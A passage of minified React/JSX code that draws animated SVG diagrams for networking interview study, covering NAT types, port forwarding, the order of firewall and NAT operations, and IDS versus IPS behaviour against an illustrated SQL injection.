105)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`620`,height:`120`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`620`,height:`22`,fill:`#f1f5f9`,rx:`5`}),(0,k.jsx)(`text`,{x:`14`,y:`15`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`INSIDE LOCAL (FIXED PRIVATE)`}),(0,k.jsx)(`text`,{x:`240`,y:`15`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`INSIDE GLOBAL (FIXED PUBLIC)`}),(0,k.jsx)(`text`,{x:`460`,y:`15`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`MAPPING RATIO`}),(0,k.jsx)(`rect`,{x:`6`,y:`28`,width:`608`,height:`28`,rx:`4`,fill:e>=2?`#eff6ff`:`#ffffff`,stroke:e>=2?`#3b82f6`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`14`,y:`46`,fill:`#1e40af`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`10.0.0.10`}),(0,k.jsx)(`text`,{x:`240`,y:`46`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.20 (Dedicated)`}),(0,k.jsx)(`text`,{x:`460`,y:`46`,fill:`#0f172a`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`1 : 1 (Permanent)`}),(0,k.jsxs)(`g`,{transform:`translate(10, 68)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`600`,height:`42`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,children:`KEY INTERVIEW TAKEAWAY:`}),(0,k.jsx)(`text`,{x:`12`,y:`32`,fill:`#64748b`,fontSize:`7.5`,children:`Static NAT provides a permanent 1-to-1 IP mapping. Inbound and outbound connections always resolve to this single public IP.`})]})]})]}),t===1&&(0,k.jsxs)(`g`,{transform:`translate(20, 38)`,className:`animate-pop-in`,children:[(0,k.jsx)(M,{cx:70,cy:45,label:`PRIVATE HOST`,ip:`10.0.1.15`,active:!0}),(0,k.jsxs)(`g`,{transform:`translate(330, 45)`,children:[(0,k.jsx)(`rect`,{x:`-45`,y:`-28`,width:`90`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:`#f59e0b`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#fbbf24`,fontSize:`8`,fontWeight:`bold`,children:`IP POOL`}),(0,k.jsx)(`text`,{x:`0`,y:`6`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`ALLOCATOR`})]}),(0,k.jsx)(P,{cx:590,cy:45,label:`INTERNET SERVER`,sub:`198.51.100.2:80`,active:e>=7,success:e>=7}),e===5&&(0,k.jsx)(A,{x1:110,y1:45,x2:280,y2:45,color:`#2563eb`,label:`REQUESTS IP →`}),e>=6&&(0,k.jsx)(A,{x1:380,y1:45,x2:540,y2:45,color:`#10b981`,label:`ASSIGNED: 203.0.113.51 ✓`}),(0,k.jsxs)(`g`,{transform:`translate(20, 105)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`620`,height:`120`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`18`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`PUBLIC IP POOL STATUS (203.0.113.50 - 203.0.113.53):`}),(0,k.jsx)(`g`,{transform:`translate(14, 28)`,children:[{ip:`203.0.113.50`,status:`IN USE (Host 1)`,busy:!0},{ip:`203.0.113.51`,status:e>=6?`ALLOCATED (10.0.1.15)`:`AVAILABLE`,busy:e>=6},{ip:`203.0.113.52`,status:`AVAILABLE`,busy:!1},{ip:`203.0.113.53`,status:`AVAILABLE`,busy:!1}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*148}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`140`,height:`32`,rx:`4`,fill:e.busy?`#fef2f2`:`#ecfdf5`,stroke:e.busy?`#fca5a5`:`#86efac`}),(0,k.jsx)(`text`,{x:`70`,y:`13`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:e.ip}),(0,k.jsx)(`text`,{x:`70`,y:`25`,textAnchor:`middle`,fill:e.busy?`#dc2626`:`#15803d`,fontSize:`7`,fontWeight:`bold`,children:e.status})]},e.ip))}),(0,k.jsxs)(`g`,{transform:`translate(10, 68)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`600`,height:`42`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,children:`KEY INTERVIEW TAKEAWAY:`}),(0,k.jsx)(`text`,{x:`12`,y:`32`,fill:`#64748b`,fontSize:`7.5`,children:`Dynamic NAT assigns public IPs on a first-come, first-served basis. When the pool is exhausted, additional hosts are blocked until an active session terminates.`})]})]})]}),t===2&&(0,k.jsxs)(`g`,{transform:`translate(20, 38)`,className:`animate-pop-in`,children:[(0,k.jsx)(`g`,{transform:`translate(20, 0)`,children:[{ip:`192.168.1.10:5001`,y:0,color:`#3b82f6`,active:!0},{ip:`192.168.1.11:5002`,y:32,color:`#8b5cf6`,active:e>=9},{ip:`192.168.1.12:5003`,y:64,color:`#10b981`,active:e>=9}].map(e=>(0,k.jsxs)(`g`,{transform:`translate(0, ${e.y})`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`140`,height:`24`,rx:`4`,fill:`#ffffff`,stroke:e.color,strokeWidth:1.5}),(0,k.jsx)(`text`,{x:`70`,y:`16`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:e.ip}),(0,k.jsx)(`path`,{d:`M 140 12 L 270 45`,stroke:e.color,strokeWidth:`1.5`,strokeDasharray:`3 3`})]},e.ip))}),(0,k.jsxs)(`g`,{transform:`translate(330, 45)`,children:[(0,k.jsx)(`rect`,{x:`-45`,y:`-28`,width:`90`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:`#10b981`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#4ade80`,fontSize:`8`,fontWeight:`bold`,children:`PAT / OVERLOAD`}),(0,k.jsx)(`text`,{x:`0`,y:`6`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`PORT MULTIPLEX`})]}),(0,k.jsx)(A,{x1:380,y1:45,x2:540,y2:45,color:`#10b981`,label:`1 PUBLIC IP + PORTS →`}),(0,k.jsx)(P,{cx:590,cy:45,label:`INTERNET`,sub:`203.0.113.1`,active:!0,success:!0}),(0,k.jsxs)(`g`,{transform:`translate(20, 105)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`620`,height:`120`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`16`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`PAT (MANY-TO-ONE) OVERLOAD PORT MULTIPLEX TABLE:`}),(0,k.jsxs)(`g`,{transform:`translate(14, 26)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`12`,fill:`#1e40af`,fontSize:`7.5`,fontFamily:`monospace`,children:`192.168.1.10:5001 ──→ 203.0.113.1:61001 (Unique Source Port Assigned)`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,fill:`#6b21a8`,fontSize:`7.5`,fontFamily:`monospace`,children:`192.168.1.11:5002 ──→ 203.0.113.1:61002 (Unique Source Port Assigned)`}),(0,k.jsx)(`text`,{x:`0`,y:`40`,fill:`#065f46`,fontSize:`7.5`,fontFamily:`monospace`,children:`192.168.1.12:5003 ──→ 203.0.113.1:61003 (Unique Source Port Assigned)`})]}),(0,k.jsxs)(`g`,{transform:`translate(10, 72)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`600`,height:`38`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,children:`KEY INTERVIEW TAKEAWAY:`}),(0,k.jsx)(`text`,{x:`12`,y:`28`,fill:`#64748b`,fontSize:`7.5`,children:`PAT tracks unique 16-bit Layer 4 source ports, allowing up to ~64,000 concurrent sessions on a single public IP.`})]})]})]}),t===3&&(0,k.jsxs)(`g`,{transform:`translate(20, 38)`,className:`animate-pop-in`,children:[(0,k.jsx)(P,{cx:70,cy:45,label:`PUBLIC CLIENT`,sub:`198.51.100.99`,active:!0}),(0,k.jsx)(A,{x1:110,y1:45,x2:280,y2:45,color:`#2563eb`,label:`DST: 203.0.113.50:80 →`}),(0,k.jsxs)(`g`,{transform:`translate(330, 45)`,children:[(0,k.jsx)(`rect`,{x:`-45`,y:`-28`,width:`90`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:`#8b5cf6`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#c084fc`,fontSize:`8`,fontWeight:`bold`,children:`DNAT ENGINE`}),(0,k.jsx)(`text`,{x:`0`,y:`6`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`DEST REWRITE`})]}),(0,k.jsx)(A,{x1:380,y1:45,x2:540,y2:45,color:`#10b981`,label:`DST REWRITTEN TO 10.0.2.80 →`}),(0,k.jsx)(P,{cx:590,cy:45,label:`INTERNAL SERVER`,sub:`10.0.2.80:8080`,active:!0,success:!0}),(0,k.jsxs)(`g`,{transform:`translate(20, 105)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`620`,height:`120`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`620`,height:`22`,fill:`#f1f5f9`,rx:`5`}),(0,k.jsx)(`text`,{x:`14`,y:`15`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`INCOMING PUBLIC DST IP/PORT`}),(0,k.jsx)(`text`,{x:`250`,y:`15`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRANSLATED INTERNAL DESTINATION`}),(0,k.jsx)(`text`,{x:`500`,y:`15`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ACTION`}),(0,k.jsx)(`rect`,{x:`6`,y:`28`,width:`608`,height:`28`,rx:`4`,fill:`#faf5ff`,stroke:`#d8b4fe`}),(0,k.jsx)(`text`,{x:`14`,y:`46`,fill:`#6b21a8`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50 :80 (Public IP)`}),(0,k.jsx)(`text`,{x:`250`,y:`46`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`10.0.2.80 :8080 (Private Server)`}),(0,k.jsx)(`text`,{x:`500`,y:`46`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`Port Forwarded ✓`}),(0,k.jsxs)(`g`,{transform:`translate(10, 68)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`600`,height:`42`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,children:`KEY INTERVIEW TAKEAWAY:`}),(0,k.jsx)(`text`,{x:`12`,y:`32`,fill:`#64748b`,fontSize:`7.5`,children:`DNAT (Destination NAT / Port Forwarding) exposes internal private services to the public Internet without giving backend servers public IP addresses.`})]})]})]})]})]})},Zt=({currentStepIndex:e})=>{let t=e>=4;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 16)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`26`,rx:`13`,fill:t?`#faf5ff`:`#eff6ff`,stroke:t?`#c084fc`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`17`,textAnchor:`middle`,fill:t?`#6b21a8`:`#1e40af`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:t?`INBOUND FLOW: INGRESS → [1. PRE-ROUTING NAT (DEST REWRITE)] → [2. FIREWALL ACL CHECK] → INTERNAL SERVER`:`OUTBOUND FLOW: CLIENT → [1. FIREWALL ACL CHECK (PRIVATE IP)] → [2. POST-ROUTING NAT (SRC REWRITE)] → INTERNET`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 52)`,children:[(0,k.jsx)(`line`,{x1:`60`,y1:`70`,x2:`640`,y2:`70`,stroke:`#cbd5e1`,strokeWidth:`3`,strokeDasharray:`4 4`}),(0,k.jsx)(M,{cx:60,cy:70,label:`CLIENT / HOST`,ip:t?`192.168.1.100`:`192.168.1.10`,active:!0}),(0,k.jsxs)(`g`,{transform:`translate(250, 70)`,children:[(0,k.jsx)(`rect`,{x:`-40`,y:`-30`,width:`80`,height:`46`,rx:`6`,fill:`#0f172a`,stroke:`#2563eb`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`SECURITY ACL`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`POLICY GATE`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`9.5`,fontWeight:`bold`,fill:`#0f172a`,children:`FIREWALL`}),(0,k.jsx)(`text`,{x:`0`,y:`38`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#2563eb`,fontFamily:`monospace`,children:`Rule Evaluation`})]}),(0,k.jsxs)(`g`,{transform:`translate(450, 70)`,children:[(0,k.jsx)(`rect`,{x:`-40`,y:`-30`,width:`80`,height:`46`,rx:`6`,fill:`#0f172a`,stroke:`#10b981`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#4ade80`,fontSize:`8`,fontWeight:`bold`,children:`NAT ENGINE`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`IP TRANSLATOR`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`9.5`,fontWeight:`bold`,fill:`#0f172a`,children:`NAT ROUTER`}),(0,k.jsx)(`text`,{x:`0`,y:`38`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#10b981`,fontFamily:`monospace`,children:`Pre/Post Routing`})]}),(0,k.jsx)(P,{cx:640,cy:70,label:`INTERNET`,sub:`203.0.113.50`,active:!0}),t?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:605,y1:70,x2:495,y2:70,color:`#8b5cf6`,reverse:!0,label:`INBOUND DNAT`}),e>=5&&(0,k.jsx)(A,{x1:405,y1:70,x2:295,y2:70,color:`#10b981`,reverse:!0,label:`TRANSLATED IP`}),e>=6&&(0,k.jsx)(A,{x1:205,y1:70,x2:95,y2:70,color:`#10b981`,reverse:!0,label:`ACL PERMITTED ✓`})]}):(0,k.jsxs)(k.Fragment,{children:[e>=1&&(0,k.jsx)(A,{x1:95,y1:70,x2:205,y2:70,color:`#2563eb`,label:`BEFORE NAT`}),e>=2&&(0,k.jsx)(A,{x1:295,y1:70,x2:405,y2:70,color:`#2563eb`,label:`ALLOWED`}),e>=3&&(0,k.jsx)(A,{x1:495,y1:70,x2:605,y2:70,color:`#10b981`,label:`AFTER NAT ✓`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 185)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`140`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`NAT & FIREWALL PACKET FLOW ORDER OF OPERATIONS (CISCO ASA & PALO ALTO ARCHITECTURE)`}),(0,k.jsxs)(`g`,{transform:`translate(16, 38)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`90`,rx:`6`,fill:`#eff6ff`,stroke:`#93c5fd`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#1e40af`,fontSize:`9`,fontWeight:`bold`,children:`OUTBOUND ORDER (INSIDE → OUTSIDE):`}),(0,k.jsx)(`text`,{x:`12`,y:`36`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`1. Ingress Interface & Routing Lookup`}),(0,k.jsx)(`text`,{x:`12`,y:`50`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`2. Firewall Security ACL Check (Evaluates Private IP)`}),(0,k.jsx)(`text`,{x:`12`,y:`64`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`3. Post-Routing Source NAT / PAT Translation`}),(0,k.jsx)(`text`,{x:`12`,y:`78`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`4. Egress to Outside WAN`}),(0,k.jsx)(`rect`,{x:`345`,y:`0`,width:`325`,height:`90`,rx:`6`,fill:`#faf5ff`,stroke:`#c084fc`}),(0,k.jsx)(`text`,{x:`357`,y:`18`,fill:`#6b21a8`,fontSize:`9`,fontWeight:`bold`,children:`INBOUND DNAT ORDER (OUTSIDE → INSIDE):`}),(0,k.jsx)(`text`,{x:`357`,y:`36`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`1. Ingress Interface & Pre-Routing DNAT Engine`}),(0,k.jsx)(`text`,{x:`357`,y:`50`,fill:`#6b21a8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`2. Destination IP rewritten to Private Server IP`}),(0,k.jsx)(`text`,{x:`357`,y:`64`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. Firewall ACL Check (Evaluates Translated Private IP!)`}),(0,k.jsx)(`text`,{x:`357`,y:`78`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`4. Egress to Internal Protected Server`})]})]})]})},Qt=({currentStepIndex:e})=>(0,k.jsx)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:e>=4?(0,k.jsxs)(`g`,{transform:`translate(30, 20)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`300`,rx:`12`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`36`,rx:`11`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`24`,y:`23`,fill:`#ffffff`,fontSize:`12`,fontWeight:`bold`,children:`IDS (DETECTION) VS IPS (PREVENTION): COMPREHENSIVE ARCHITECTURAL COMPARISON`}),(0,k.jsxs)(`g`,{transform:`translate(24, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#fef3c7`,stroke:`#f59e0b`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#d97706`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`IDS (INTRUSION DETECTION SYSTEM)`}),(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#78350f`,fontSize:`8.5`,fontWeight:`bold`,children:`• Placement: Out-of-band via SPAN / TAP port`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#78350f`,fontSize:`8.5`,children:`• Mode: Passive monitoring & packet mirroring`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#78350f`,fontSize:`8.5`,children:`• Action: Generates SIEM Alert / SNMP Trap only`}),(0,k.jsx)(`text`,{x:`0`,y:`75`,fill:`#78350f`,fontSize:`8.5`,children:`• Network Latency: ZERO latency added to live traffic`}),(0,k.jsx)(`text`,{x:`0`,y:`95`,fill:`#78350f`,fontSize:`8.5`,children:`• Failure Mode: Fail-Open (No traffic disruption)`}),(0,k.jsx)(`text`,{x:`0`,y:`120`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,children:`⚠️ Limitation: Cannot stop active attacks`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(366, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#ecfdf5`,stroke:`#10b981`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#059669`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`IPS (INTRUSION PREVENTION SYSTEM)`}),(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#064e3b`,fontSize:`8.5`,fontWeight:`bold`,children:`• Placement: Direct INLINE on the traffic wire`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#064e3b`,fontSize:`8.5`,children:`• Mode: Active inline deep packet inspection`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#064e3b`,fontSize:`8.5`,children:`• Action: DROPS packet instantly & injects TCP RST`}),(0,k.jsx)(`text`,{x:`0`,y:`75`,fill:`#064e3b`,fontSize:`8.5`,children:`• Network Latency: Microsecond processing overhead`}),(0,k.jsx)(`text`,{x:`0`,y:`95`,fill:`#064e3b`,fontSize:`8.5`,children:`• Failure Mode: Needs bypass hardware (Bypass Switch)`}),(0,k.jsx)(`text`,{x:`0`,y:`120`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,children:`✓ Benefit: Real-time attack prevention & server defense`})]})]})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsxs)(`g`,{transform:`translate(20, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`150`,rx:`8`,fill:`#ffffff`,stroke:e>=2?`#f59e0b`:`#cbd5e1`,strokeWidth:e>=2?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`24`,rx:`7`,fill:e>=2?`#fef3c7`:`#f8fafc`}),(0,k.jsx)(`text`,{x:`14`,y:`16`,fill:e>=2?`#b45309`:`#334155`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRACK A: IDS (INTRUSION DETECTION SYSTEM) — PASSIVE OUT-OF-BAND SPAN TAP (DETECT & ALERT ONLY)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`75`,x2:`650`,y2:`75`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:75,label:`Attacker`,ip:`198.51.100.99`,active:!0,danger:!0}),(0,k.jsxs)(`g`,{transform:`translate(270, 75)`,children:[(0,k.jsx)(`rect`,{x:`-24`,y:`-18`,width:`48`,height:`24`,rx:`4`,fill:`#0f172a`,stroke:`#2563eb`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`0`,y:`-3`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7`,fontWeight:`bold`,children:`SWITCH`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`Core Switch`}),(0,k.jsx)(`text`,{x:`0`,y:`33`,textAnchor:`middle`,fontSize:`7`,fontWeight:`bold`,fill:`#2563eb`,fontFamily:`monospace`,children:`SPAN Port`})]}),(0,k.jsxs)(`g`,{transform:`translate(430, 75)`,children:[(0,k.jsx)(`rect`,{x:`-36`,y:`-28`,width:`72`,height:`38`,rx:`6`,fill:`#0f172a`,stroke:`#f59e0b`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#fbbf24`,fontSize:`8`,fontWeight:`bold`,children:`IDS SENSOR`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`Passive Tap`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`9.5`,fontWeight:`bold`,fill:`#0f172a`,children:`IDS SENSOR`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#f59e0b`,fontFamily:`monospace`,children:`SIEM Alert Log`})]}),(0,k.jsx)(P,{cx:650,cy:75,label:`Target DB`,sub:`COMPROMISED ⚠️`,active:!0,danger:e>=2}),e>=1&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:105,y1:75,x2:240,y2:75,color:`#ef4444`,label:`SQLi EXPLOIT`}),(0,k.jsx)(`path`,{d:`M 270 55 Q 350 25 390 55`,fill:`none`,stroke:`#f59e0b`,strokeWidth:2,strokeDasharray:`4 4`})]}),e>=2&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:300,y1:75,x2:615,y2:75,color:`#ef4444`,label:`EXPLOIT REACHES SERVER!`}),(0,k.jsxs)(`g`,{transform:`translate(430, 22)`,children:[(0,k.jsx)(`rect`,{x:`-55`,y:`-9`,width:`110`,height:`18`,rx:`9`,fill:`#fef3c7`,stroke:`#f59e0b`,strokeWidth:`1`}),(0,k.jsx)(`text`,{x:`0`,y:`3.5`,textAnchor:`middle`,fill:`#b45309`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`SIEM ALERT SENT ⚠️`})]}),(0,k.jsxs)(`g`,{transform:`translate(650, 125)`,children:[(0,k.jsx)(`rect`,{x:`-120`,y:`-9`,width:`240`,height:`18`,rx:`9`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1`}),(0,k.jsx)(`text`,{x:`0`,y:`3.5`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`CANNOT BLOCK: Out-of-band (Attack succeeds)`})]})]})]}),(0,k.jsxs)(`g`,{transform:`translate(20, 170)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`160`,rx:`8`,fill:`#ffffff`,stroke:e>=3?`#10b981`:`#3b82f6`,strokeWidth:e>=3?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`24`,rx:`7`,fill:e>=3?`#ecfdf5`:`#eff6ff`}),(0,k.jsx)(`text`,{x:`14`,y:`16`,fill:e>=3?`#065f46`:`#1e40af`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRACK B: IPS (INTRUSION PREVENTION SYSTEM) — ACTIVE INLINE INSPECTION (INSTANT BLOCK & DROP)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`70`,x2:`650`,y2:`70`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:70,label:`Attacker`,ip:`198.51.100.99`,active:!0,danger:e>=1}),(0,k.jsx)(N,{cx:360,cy:70,label:`INLINE IPS`,sub:`Signature Engine`,active:e>=1,success:e>=3,scannerActive:e===1}),(0,k.jsx)(P,{cx:650,cy:70,label:`Target DB`,sub:e>=3?`PROTECTED ✓`:`Database`,active:!0,success:e>=3}),e>=1&&(0,k.jsx)(A,{x1:105,y1:70,x2:315,y2:70,color:`#ef4444`,label:`SQLi EXPLOIT`}),e>=3&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsxs)(`g`,{transform:`translate(420, 70)`,children:[(0,k.jsx)(`line`,{x1:`0`,y1:`-25`,x2:`0`,y2:`25`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`10`,y:`-12`,width:`120`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`70`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DROPPED & RESET ✕`})]}),(0,k.jsx)(A,{x1:315,y1:70,x2:105,y2:70,color:`#ef4444`,reverse:!0,label:`TCP RST SENT`,curveOffset:20})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 